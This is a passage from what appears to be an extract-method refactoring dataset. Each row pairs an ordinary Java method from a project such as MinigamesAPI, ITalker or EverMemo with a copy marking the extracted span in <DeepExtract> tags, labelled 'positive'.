if (pli.getShopHandler().hasItemBought(p_, "coin_boost3")) {
global_coin_multiplier = 3;
break;
}
}
} | MinigamesAPI | positive | 3,363 |
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
while (N < 1 || N > 100) N = sc.nextInt();
sc.close();
int result = 0;
result += N--;
if (N > 0) {
result = addN(result);
} else
result = result;
System.out.println(result);
} | public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
while (N < 1 || N > 100) N = sc.nextInt();
sc.close();
int result = 0;
<DeepExtract>
result += N--;
if (N > 0) {
result = addN(result);
} else
result = result;
</DeepExtract>
System.out.println(result);
} | OnAlSt | positive | 3,364 |
@Test
public void runningTestsAsSeparateSuites_browsersAreNotReused() {
BrowserProvider mockProvider = mock(BrowserProvider.class);
ConcordionBrowserFixture test = this.test1;
Browser browser1 = test.getBrowser("X", mockProvider);
test.closeSuiteResources();
test.resetThreadBrowsers();
ConcordionBrowserFixture test2 = new ConcordionBrowserFixture() {
};
Browser browser2 = test2.getBrowser("X", mockProvider);
test2.closeSuiteResources();
test2.resetThreadBrowsers();
assertThat(browser1, is(not(browser2)));
} | @Test
public void runningTestsAsSeparateSuites_browsersAreNotReused() {
BrowserProvider mockProvider = mock(BrowserProvider.class);
ConcordionBrowserFixture test = this.test1;
Browser browser1 = test.getBrowser("X", mockProvider);
test.closeSuiteResources();
test.resetThreadBrowsers();
ConcordionBrowserFixture test2 = new ConcordionBrowserFixture() {
};
Browser browser2 = test2.getBrowser("X", mockProvider);
<DeepExtract>
test2.closeSuiteResources();
test2.resetThreadBrowsers();
</DeepExtract>
assertThat(browser1, is(not(browser2)));
} | cubano | positive | 3,365 |
@Override
public void onBindViewHolder(@NonNull ViewHolder<Data> holder, int position) {
Data data = mDataList.get(position);
this.mData = data;
onBind(data);
} | @Override
public void onBindViewHolder(@NonNull ViewHolder<Data> holder, int position) {
Data data = mDataList.get(position);
<DeepExtract>
this.mData = data;
onBind(data);
</DeepExtract>
} | ITalker | positive | 3,366 |
@Override
public Void visitNonParsedStringStatement(NonParsedStringStatement nonParsedStringStatement) {
indentIfRequired();
out.println(trimRight("NonParsedString " + "text='" + nonParsedStringStatement.getText() + "' " + "parserErrorMessage='" + nonParsedStringStatement.getParserErrorMessage() + "'"));
atLineStart = true;
return null;
} | @Override
public Void visitNonParsedStringStatement(NonParsedStringStatement nonParsedStringStatement) {
<DeepExtract>
indentIfRequired();
out.println(trimRight("NonParsedString " + "text='" + nonParsedStringStatement.getText() + "' " + "parserErrorMessage='" + nonParsedStringStatement.getParserErrorMessage() + "'"));
atLineStart = true;
</DeepExtract>
return null;
} | savagebot | positive | 3,367 |
@Override
public LexiconPage textPage(String key) {
return new DummyPage(key);
} | @Override
public LexiconPage textPage(String key) {
<DeepExtract>
return new DummyPage(key);
</DeepExtract>
} | TPPI-Tweaks | positive | 3,368 |
@Override
public void onAnimationEnd(Animator animation) {
Menu menu = getMainActivity().getMenu();
if (menu != null)
menu.setGroupVisible(0, false);
_scanningProgressPanel.setAlpha(1.0f);
_progressContainer.setVisibility(View.VISIBLE);
_progressContainer.setTranslationX(0);
_buttonContainer.setVerticalGravity(View.INVISIBLE);
Collection<IProblem> appProblems = new ArrayList<IProblem>();
ProblemsDataSetTools.getAppProblems(tempBadResults, appProblems);
_currentScanTask = new ScanningFileSystemAsyncTask(getMainActivity(), allPackages, appProblems);
_currentScanTask.setAsyncTaskCallback(new IOnActionFinished() {
@Override
public void onFinished() {
_currentScanTask = null;
AppData appData = getMainActivity().getAppData();
appData.setLastScanDate(new DateTime());
appData.serialize(getContext());
if (getMainActivity().canShowAd()) {
_requestDialogForAd(tempBadResults, false);
} else {
_doAfterScanWork(tempBadResults);
}
}
});
_currentScanTask.execute();
} | @Override
public void onAnimationEnd(Animator animation) {
<DeepExtract>
Menu menu = getMainActivity().getMenu();
if (menu != null)
menu.setGroupVisible(0, false);
_scanningProgressPanel.setAlpha(1.0f);
_progressContainer.setVisibility(View.VISIBLE);
_progressContainer.setTranslationX(0);
_buttonContainer.setVerticalGravity(View.INVISIBLE);
</DeepExtract>
Collection<IProblem> appProblems = new ArrayList<IProblem>();
ProblemsDataSetTools.getAppProblems(tempBadResults, appProblems);
_currentScanTask = new ScanningFileSystemAsyncTask(getMainActivity(), allPackages, appProblems);
_currentScanTask.setAsyncTaskCallback(new IOnActionFinished() {
@Override
public void onFinished() {
_currentScanTask = null;
AppData appData = getMainActivity().getAppData();
appData.setLastScanDate(new DateTime());
appData.serialize(getContext());
if (getMainActivity().canShowAd()) {
_requestDialogForAd(tempBadResults, false);
} else {
_doAfterScanWork(tempBadResults);
}
}
});
_currentScanTask.execute();
} | MemoryBooster-Android | positive | 3,370 |
public void smoothScrollToPosition(int position, int boundPosition) {
if (mPositionScroller == null) {
mPositionScroller = new PositionScroller();
}
if (boundPosition == INVALID_POSITION) {
start(position);
return;
}
final int firstPos = mFirstPosition;
final int lastPos = firstPos + getChildCount() - 1;
int viewTravelCount = 0;
if (position <= firstPos) {
final int boundPosFromLast = lastPos - boundPosition;
if (boundPosFromLast < 1) {
return;
}
final int posTravel = firstPos - position + 1;
final int boundTravel = boundPosFromLast - 1;
if (boundTravel < posTravel) {
viewTravelCount = boundTravel;
mMode = MOVE_UP_BOUND;
} else {
viewTravelCount = posTravel;
mMode = MOVE_UP_POS;
}
} else if (position >= lastPos) {
final int boundPosFromFirst = boundPosition - firstPos;
if (boundPosFromFirst < 1) {
return;
}
final int posTravel = position - lastPos + 1;
final int boundTravel = boundPosFromFirst - 1;
if (boundTravel < posTravel) {
viewTravelCount = boundTravel;
mMode = MOVE_DOWN_BOUND;
} else {
viewTravelCount = posTravel;
mMode = MOVE_DOWN_POS;
}
} else {
return;
}
if (viewTravelCount > 0) {
mScrollDuration = SCROLL_DURATION / viewTravelCount;
} else {
mScrollDuration = SCROLL_DURATION;
}
mTargetPos = position;
mBoundPos = boundPosition;
mLastSeenPos = INVALID_POSITION;
post(this);
} | public void smoothScrollToPosition(int position, int boundPosition) {
if (mPositionScroller == null) {
mPositionScroller = new PositionScroller();
}
<DeepExtract>
if (boundPosition == INVALID_POSITION) {
start(position);
return;
}
final int firstPos = mFirstPosition;
final int lastPos = firstPos + getChildCount() - 1;
int viewTravelCount = 0;
if (position <= firstPos) {
final int boundPosFromLast = lastPos - boundPosition;
if (boundPosFromLast < 1) {
return;
}
final int posTravel = firstPos - position + 1;
final int boundTravel = boundPosFromLast - 1;
if (boundTravel < posTravel) {
viewTravelCount = boundTravel;
mMode = MOVE_UP_BOUND;
} else {
viewTravelCount = posTravel;
mMode = MOVE_UP_POS;
}
} else if (position >= lastPos) {
final int boundPosFromFirst = boundPosition - firstPos;
if (boundPosFromFirst < 1) {
return;
}
final int posTravel = position - lastPos + 1;
final int boundTravel = boundPosFromFirst - 1;
if (boundTravel < posTravel) {
viewTravelCount = boundTravel;
mMode = MOVE_DOWN_BOUND;
} else {
viewTravelCount = posTravel;
mMode = MOVE_DOWN_POS;
}
} else {
return;
}
if (viewTravelCount > 0) {
mScrollDuration = SCROLL_DURATION / viewTravelCount;
} else {
mScrollDuration = SCROLL_DURATION;
}
mTargetPos = position;
mBoundPos = boundPosition;
mLastSeenPos = INVALID_POSITION;
post(this);
</DeepExtract>
} | EverMemo | positive | 3,371 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.